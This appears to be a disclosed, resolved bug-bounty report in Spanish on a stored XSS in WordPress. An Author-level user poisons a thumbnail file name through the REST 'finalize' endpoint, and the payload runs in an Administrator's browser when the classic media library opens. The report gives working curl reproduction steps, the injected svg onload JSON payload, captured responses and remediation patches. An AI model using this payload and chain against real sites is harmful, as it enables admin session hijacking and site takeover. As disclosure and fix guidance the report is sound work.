Resumen
Se trata de un XSS almacenado en WordPress que permite a un usuario con rol Autor (sin la capacidad unfiltered_html) ejecutar JavaScript en el navegador de un Administrador, dentro del origen de wp-admin.
El fallo es una cadena de tres piezas, ninguna de las cuales valida ni escapa el dato:
- Escritura sin sanear. El endpoint REST
POST /wp/v2/media/<id>/finalize(funciónfinalize_item()enwp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php, líneas 2920-2926 en trunk, y su equivalente en Gutenberg,gutenberg/lib/media/class-gutenberg-rest-attachments-controller.php, líneas 838-845) guarda el camposub_sizes[].filetal cual en los metadatos del adjunto (_wp_attachment_metadata['sizes'][<nombre>]['file']). El esquema solo exigearray( 'type' => 'string' ): no pasa porsanitize_file_name(), no tiene patrón nisanitize_callback, ywp_update_attachment_metadata()lo guarda directamente en los metadatos del post.
$metadata['sizes'] = $metadata['sizes'] ?? array();
$metadata['sizes'][ $image_size ] = array(
'width' => $sub_size['width'] ?? 0,
'height' => $sub_size['height'] ?? 0,
'file' => $sub_size['file'] ?? '',
'mime-type' => $sub_size['mime_type'] ?? '',
'filesize' => $sub_size['filesize'] ?? 0,
);
El control de permisos, edit_media_item_permissions_check(), exige current_user_can( 'upload_files' ) más edit_post sobre el adjunto, y un Autor cumple ambos sobre lo que él mismo ha subido.
- Propagación a una URL.
image_get_intermediate_size()(wp-includes/media.php:854-858en 7.0.2) construye la URL de la miniatura concatenando ese valor en bruto, yimage_downsize()/wp_get_attachment_image_src()la devuelven sin tocarla.
// Include the full filesystem path of the intermediate file.
if ( empty( $data['path'] ) && ! empty( $data['file'] ) && ! empty( $imagedata['file'] ) ) {
$file_url = wp_get_attachment_url( $post_id );
$data['path'] = path_join( dirname( $imagedata['file'] ), $data['file'] );
$data['url'] = path_join( dirname( $file_url ), $data['file'] );
}
- Salida sin escapar.
get_media_item()(wp-admin/includes/media.php, línea 1716 en 7.0.2 y 1717 en trunk) mete la URL en un atributosrcentre comillas simples sinesc_url()niesc_attr():
<p><a href='$attachment_url' target='_blank'><img class='thumbnail' src='$thumb_url' alt='' /></a></p>
Basta con que el nombre de fichero contenga una comilla simple para cerrar el atributo y la etiqueta <img> e inyectar HTML arbitrario.
La página vulnerable es la ventana clásica de medios, GET /wp-admin/media-upload.php?tab=library, que lista todos los adjuntos de la biblioteca mediante get_media_items(). Solo exige la capacidad upload_files y no lleva nonce. También afectan las otras funciones que llaman a get_media_items(): media_upload_gallery_form() y media_upload_type_form().
El investigador comprobó que otras pantallas sí escapan el valor y no son vulnerables: la cuadrícula moderna upload.php, upload.php?mode=list y post.php?post=<id>&action=edit.
Versiones verificadas:
| Instalación | ¿Vulnerable? | |---|---| | WordPress trunk sin plugins (7.1-beta3-62828-src y 7.1-beta3-62852) | Sí | | WordPress 7.0.2 con Gutenberg 23.6.0 | Sí | | WordPress 7.0.2 sin Gutenberg | El punto de salida existe, pero un Autor no llega a él: no está registrada la ruta finalize |
En trunk, el endpoint solo está activo con is_ssl() || 'localhost' === $host || …, así que, según el investigador, afecta por defecto a cualquier sitio HTTPS; no lo demostró en una instalación HTTP que no fuera localhost. El plugin Gutenberg publicado no tiene esa restricción.
Pasos de reproducción
Entorno: una instalación local de WordPress vulnerable con dos usuarios, admin (Administrador) y author1 (Autor), cada uno con su propio fichero de cookies. El investigador lo reprodujo en dos laboratorios (trunk sin plugins en el puerto 8357 y 7.0.2 con Gutenberg 23.6.0 en el 8356) con los mismos pasos:
- Con la sesión del Autor, obtener su nonce
wp_restdesde su propio escritorio. - Como Autor, subir una imagen JPEG real (respuesta 201; en el ejemplo, el adjunto recibe el ID
8). - Como Autor, enviar a
finalizeun nombre de miniatura envenenado (respuesta 200). - Con la sesión del Administrador, abrir la ventana clásica de medios.
B=http://localhost:8357
# [0] the Author's own wp_rest nonce, read out of the Author's own dashboard.
# (Application passwords are refused over plain HTTP on this lab, so the runs use the
# ordinary login cookie + nonce -- exactly what the block editor sends.)
N=$(curl -s -b author.jar "$B/wp-admin/index.php" \
| grep -oE 'createNonceMiddleware\( *"[a-f0-9]+"' | head -1 | grep -oE '[a-f0-9]{10}')
# [1] Author uploads a real JPEG (cookie + X-WP-Nonce, exactly what the editor uses)
curl -b author.jar -H "X-WP-Nonce: $N" \
-H "Content-Disposition: attachment; filename=txss.jpg" -H "Content-Type: image/jpeg" \
--data-binary @zap.jpg -X POST "$B/?rest_route=/wp/v2/media" # 201, id=8
# [2] Author poisons the thumbnail sub-size filename
# payload: a.jpg' /><svg onload='document.title="XSS-EXECUTED-"+document.domain'></svg><b x='
curl -b author.jar -H "X-WP-Nonce: $N" -X POST -H "Content-Type: application/json" \
--data-binary @xss.json "$B/?rest_route=/wp/v2/media/8/finalize" # 200
# [3] Administrator (separate session) opens the legacy media popup
curl -b admin.jar "$B/wp-admin/media-upload.php?tab=library" # 200
Contenido de xss.json. El valor de file empieza con un nombre válido (a.jpg), luego una comilla simple y /> cierran el atributo src y la etiqueta <img>, y a continuación va una etiqueta <svg> con un manejador onload que se limita a reescribir document.title para demostrar la ejecución:
{"sub_sizes":[{"image_size":"thumbnail",
"file":"a.jpg' /><svg onload='document.title=\"XSS-EXECUTED-\"+document.domain'></svg><b x='",
"width":150,"height":150,"mime_type":"image/jpeg","filesize":1}]}
En la respuesta del Administrador (HTTP 200, laboratorio 7.0.2 + Gutenberg) el valor aparece sin escapar y rompe el atributo, mientras que los adjuntos vecinos, no envenenados, se renderizan con normalidad:
class='thumbnail' src='http://localhost:8356/wp-content/uploads/2026/07/a.jpg' /><svg onload='document.title="XSS-EXECUTED-"+document.domain'></svg><b x='' alt='' /></a></p>
class='thumbnail' src='http://localhost:8356/wp-content/uploads/2026/07/adminimg-150x150.jpg' alt='' /></a></p>
class='thumbnail' src='http://localhost:8356/wp-content/uploads/2026/07/neg-150x150.jpg' alt='' /></a></p>
El investigador confirmó la ejecución real navegando a esa URL con Chromium 145 en modo headless e inyectando las cookies del Administrador: el manejador onload reescribió document.title en el origen wp-admin dentro de una sesión autenticada de Administrador, tanto en trunk (ambas revisiones) como en 7.0.2 con Gutenberg:
TITLE: "XSS-EXECUTED-localhost"
SVGCOUNT: 1
HREF: "http://localhost:8356/wp-admin/media-upload.php?tab=library"
BODYLEN: 41558
Controles negativos ejecutados, que confirman que los permisos de escritura sí funcionan (no hay IDOR: toda la cadena usa un adjunto subido por el propio Autor):
--- contributor -> finalize on author's attachment ---
{"code":"rest_cannot_edit_image","message":"Sorry, you are not allowed to upload media on this site.","data":{"status":403}}
HTTP 403
--- author -> finalize on ADMIN's attachment ---
{"code":"rest_cannot_edit","message":"Sorry, you are not allowed to edit this post.","data":{"status":403}}
HTTP 403
--- author unfiltered_html? ---
author1 unfiltered_html=false
Capacidades de los usuarios de prueba:
author1 unfiltered_html=false
author1 upload_files=true
contrib1 upload_files=false
Impacto
Un Autor sin la capacidad unfiltered_html —que por tanto no puede publicar HTML en bruto por las vías normales— consigue almacenar JavaScript que se ejecuta en el navegador de un Administrador, en el origen wp-admin, en cuanto este abre la ventana clásica de medios. Como esa pantalla lista toda la biblioteca, un único adjunto envenenado dispara el ataque para cualquier administrador que la abra, sin necesidad de dirigirlo a una víctima concreta. Al ser un GET sin nonce, también puede entregarse mediante un enlace señuelo o un iframe apuntando al propio sitio del administrador.
Desde el origen wp-admin, el atacante podría leer los nonces del administrador y, a partir de ahí, crear un nuevo administrador (user-new.php), instalar un plugin o editar ficheros del tema, lo que conduce al compromiso total del sitio. Es, por tanto, un XSS almacenado con cruce de privilegios de Autor a Administrador.
El investigador es transparente sobre los límites de la prueba: demostró la ejecución de script en el origen wp-admin (reescritura de document.title), pero no llegó a ejecutar el paso posterior de crear un administrador o instalar un plugin; esa es la consecuencia habitual de ejecutar script en ese origen, argumentada pero no demostrada. Además, el impacto exige que el Administrador abra media-upload.php?tab=library (o cualquier otro consumidor de get_media_items()), que no es una pantalla que todo administrador visite a diario; de ahí el vector UI:R.
Sobre el CVSS, el investigador propone S:C (el payload cruza del contenido del Autor a la sesión autenticada del Administrador) y señala que, aun con S:U, el vector AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N da 7.3, por encima del umbral de 4.0 del programa.
Remediación
El investigador identifica dos defectos independientes y recomienda corregir ambos:
- Escapar la salida en
wp-admin/includes/media.php(línea 1716 en 7.0.2, 1717 en trunk):
<p><a href='<?php echo esc_url( $attachment_url ); ?>' target='_blank'><img class='thumbnail' src='<?php echo esc_url( $thumb_url ); ?>' alt='' /></a></p>
Este fallo de escapado es anterior al nuevo endpoint y debería corregirse por separado.
- Rechazar nombres de fichero que no sean un basename en la escritura, en
wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:2828-2933ygutenberg/lib/media/class-gutenberg-rest-attachments-controller.php:749-845: exigir que cadasub_sizes[].file/original_imagecumpla$v === sanitize_file_name( wp_basename( $v ) ), añadiéndolo comovalidate_callbackdel esquema. Añadir además elvalidate_callbackcon enum sobreimage_sizeque ya tienesideload, para que no se puedan crear claves de tamaño arbitrarias.
- Como refuerzo adicional, aplicar
wp_basename()a$data['file']enimage_get_intermediate_size()(wp-includes/media.php:857) antes de unirlo a la URL, de modo que metadatos ya envenenados no puedan generar una URL rota tras la corrección.
Contexto
La clase de fallo no es nueva: el reporte HackerOne #139245 ya documentó nombres de fichero de adjuntos sin escapar en get_media_item() / get_media_items(), entonces creados vía XML-RPC y mitigados con sanitize_file_name() en la subida. Lo nuevo aquí es que el endpoint finalize no aplica esa mitigación. Según el investigador, este fallo no figuraba entre los corregidos en WordPress 7.0.3.
- Programa: WordPress. Debilidad: Cross-site Scripting (XSS) almacenado. Severidad: crítica.
- Estado: resuelto. Recompensa: sí (importe no público).
- Enviado el 11-08-2026; divulgado el 28-08-2026.